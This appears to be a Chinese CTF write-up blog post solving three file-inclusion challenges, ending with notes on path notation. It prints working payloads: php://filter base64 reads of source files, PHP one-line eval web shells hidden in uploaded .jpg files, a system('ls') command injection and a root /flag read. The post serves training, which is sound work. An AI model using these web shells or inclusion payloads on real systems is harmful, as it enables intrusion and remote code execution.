刷题笔记-文件包含

目录

【BUUCTF】- [ACTF2020 新生赛]Include1

【bugku】- 文件包含

【bugku】- 文件包含2

总结:路径


【BUUCTF】- [ACTF2020 新生赛]Include1

打开题目

刷题笔记-文件包含

点击

刷题笔记-文件包含

注意这里:?file=flag.php;可以联想到文件包含漏洞,然后我们就可以用php://filter协议来查看源文件内容; 

构造payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

原理:php://filter 协议 

刷题笔记-文件包含

1,是格式
2,是可选参数,有read和write,字面意思就是读和写
3,是过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
4,是必选参数,后面写你要处理的文件名
 

 刷题笔记-文件包含

读出源码,进行base64解码得出flag 

举例:大写(转换)过滤器:string.toupper

?file=php://filter/read=string.toupper/resource=flag.php

刷题笔记-文件包含
大佬文章

【bugku】- 文件包含

打开场景

刷题笔记-文件包含
 

 点击

 刷题笔记-文件包含

可以看出本题为文件包含index可以读取其他php文件。所以我们可以联想到读取index文件,但是直接读取index无法查看,所以就应该考虑用base64方法读取

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

 得到base64编码,解码获得flag

【bugku】- 文件包含2

查看源代码

刷题笔记-文件包含

 进行访问

刷题笔记-文件包含

上传一句话木马的.jpg图片

<?php @eval($_POST[chopper]);?>

用了多种方式进行了尝试,没用

那就换一种木马

<script language=php>
@eval($_POST[v]);
</script>

使用蚁剑还是连接不上,那就使用文件包含的方式进行访问

http://114.67.246.176:12173/index.php?
file=upload/202109131252269214.jpg 

没用,再换

<script language=php>system("ls")</script> 

刷题笔记-文件包含

 查看目录,什么也发现不了。这题是不是换了。。。怎么跟别人wp写的都不一样

 直接去访问网站根目录下有没有flag

还真发现了

http://114.67.246.176:12173/index.php? file=/flag

因为网站存在文件包含漏洞,所以我们可以通过直接访问文件名,来获取文件内容。 

大佬文章

总结:路径

  • ./       :代表目前所在的目录。
  • …/    :代表上一层目录。
  • /       :代表根目录。

读取文件时,路径的写法有如下方式

1、文件在当前目录(以图像文件为例,当前项目文件为中心)

“./1.jpg” 或 “1.jpg”

2、文件在上层目录
(1)在上层目录下

"../1.jpg"

(2)在上层目录下的一个Image文件夹下

“…/Image/1.jpg”

 (3)在上上层目录下

“…/…/1.jpg”

3、文件在下一层目录(Image1文件夹)

“./Image1/1.jpg”

4、根目录表示法,任何页面访问Image下的Image.jpg图片

“C:/Image/1.jpg”

上一篇:数字时代,视频云引领行业第二增长曲线


下一篇:HTML图像标签